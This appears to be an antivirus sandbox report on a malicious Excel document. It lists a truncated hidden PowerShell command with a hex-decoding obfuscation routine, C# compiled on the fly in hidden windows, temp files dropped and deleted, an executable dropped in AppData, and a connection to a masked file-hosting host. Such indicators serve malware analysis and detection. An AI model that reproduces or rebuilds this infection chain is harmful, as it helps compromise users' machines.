Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function df1e82 {param($te424d)$bb3ef8='gf5f527';$t6b8f4='';for ($i=0; $i -lt $te424d.length;$i+=2){$n87c26=[convert]::ToByte($te424d.Substring($i,2),16);$t6b8f4+=[char]($...
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{935d8d57-1a63-469c-87ae-6d66ccaef299}.tmp
- %TEMP%\oo69dhbu.dll
- %TEMP%\tuyfyevr.dll
- %TEMP%\cd4xnsyn.dll
- %TEMP%\resde3d.tmp
- %TEMP%\resdd43.tmp
- %TEMP%\resdc49.tmp
- %TEMP%\resdb7e.tmp
- %TEMP%\kpkg4cof.dll
- %TEMP%\resdb5f.tmp
- %TEMP%\cscde2d.tmp
- %TEMP%\cscdd33.tmp
- %TEMP%\cscdc39.tmp
- %TEMP%\cscdb7d.tmp
- %TEMP%\cscdb4e.tmp
- %TEMP%\5-r-feas.out
- %TEMP%\5-r-feas.cmdline
- %TEMP%\5-r-feas.0.cs
- %TEMP%\oo69dhbu.out
- %TEMP%\oo69dhbu.cmdline
- %TEMP%\oo69dhbu.0.cs
- %TEMP%\tuyfyevr.out
- %TEMP%\tuyfyevr.cmdline
- %TEMP%\tuyfyevr.0.cs
- %TEMP%\kpkg4cof.out
- %TEMP%\kpkg4cof.cmdline
- %TEMP%\cd4xnsyn.out
- %TEMP%\cd4xnsyn.cmdline
- %TEMP%\cd4xnsyn.0.cs
- %TEMP%\kpkg4cof.0.cs
- %TEMP%\5-r-feas.dll
- %APPDATA%\w617d.exe
Deletes the following files
- %TEMP%\resdb5f.tmp
- %TEMP%\kpkg4cof.out
- %TEMP%\oo69dhbu.pdb
- %TEMP%\oo69dhbu.cmdline
- %TEMP%\oo69dhbu.dll
- %TEMP%\oo69dhbu.out
- %TEMP%\oo69dhbu.0.cs
- %TEMP%\5-r-feas.0.cs
- %TEMP%\tuyfyevr.0.cs
- %TEMP%\5-r-feas.out
- %TEMP%\5-r-feas.dll
- %TEMP%\5-r-feas.pdb
- %TEMP%\tuyfyevr.dll
- %TEMP%\tuyfyevr.pdb
- %TEMP%\tuyfyevr.cmdline
- %TEMP%\kpkg4cof.dll
- %TEMP%\5-r-feas.cmdline
- %TEMP%\kpkg4cof.pdb
- %TEMP%\cscdd33.tmp
- %TEMP%\cscdb4e.tmp
- %TEMP%\resdb7e.tmp
- %TEMP%\cscdb7d.tmp
- %TEMP%\resdc49.tmp
- %TEMP%\cscdc39.tmp
- %TEMP%\resdd43.tmp
- %TEMP%\resde3d.tmp
- %TEMP%\kpkg4cof.0.cs
- %TEMP%\cscde2d.tmp
- %TEMP%\cd4xnsyn.out
- %TEMP%\cd4xnsyn.cmdline
- %TEMP%\cd4xnsyn.dll
- %TEMP%\cd4xnsyn.0.cs
- %TEMP%\cd4xnsyn.pdb
- %TEMP%\kpkg4cof.cmdline
- %TEMP%\tuyfyevr.out
Network activity
TCP
- 'sr####le5.gofile.io':443
UDP
- DNS ASK sr####le5.gofile.io
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function df1e82 {param($te424d)$bb3ef8='gf5f527';$t6b8f4='';for ($i=0; $i -lt $te424d.length;$i+=2){$n87c26=[convert]::ToByte($te424d.Substring($i,2),16);$t6b8f4+=[char]($...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cd4xnsyn.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kpkg4cof.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tuyfyevr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oo69dhbu.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5-r-feas.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB5F.tmp" "%TEMP%\CSCDB4E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB7E.tmp" "%TEMP%\CSCDB7D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDC49.tmp" "%TEMP%\CSCDC39.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDD43.tmp" "%TEMP%\CSCDD33.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDE3D.tmp" "%TEMP%\CSCDE2D.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cd4xnsyn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kpkg4cof.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tuyfyevr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oo69dhbu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5-r-feas.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB5F.tmp" "%TEMP%\CSCDB4E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDB7E.tmp" "%TEMP%\CSCDB7D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDC49.tmp" "%TEMP%\CSCDC39.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDD43.tmp" "%TEMP%\CSCDD33.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDE3D.tmp" "%TEMP%\CSCDE2D.tmp"
